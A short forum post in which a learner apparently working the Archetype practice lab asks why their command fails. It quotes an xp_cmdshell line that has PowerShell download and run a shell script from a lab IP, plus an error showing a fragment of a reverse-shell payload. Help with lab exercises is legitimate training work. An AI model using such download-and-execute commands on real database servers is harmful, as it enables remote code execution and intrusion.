Hey,
Trying to do the archetype starting point challenge but I end up getting the following error whilst doing the command:
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.12/shell.ps1\“);”
Error:
IEX : At line:1 char:275
-
… .ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex$data2>&1|Out-St …
The ampersand (&) character is not allowed. The & operator is reserved for future use; wrap an ampersand in double
quotation marks (“&”) to pass it as part of a string.
Does anyone know a fix? Followed the instructions as in the PDF. I tried doing it with quatation marks around it but still end up with errors.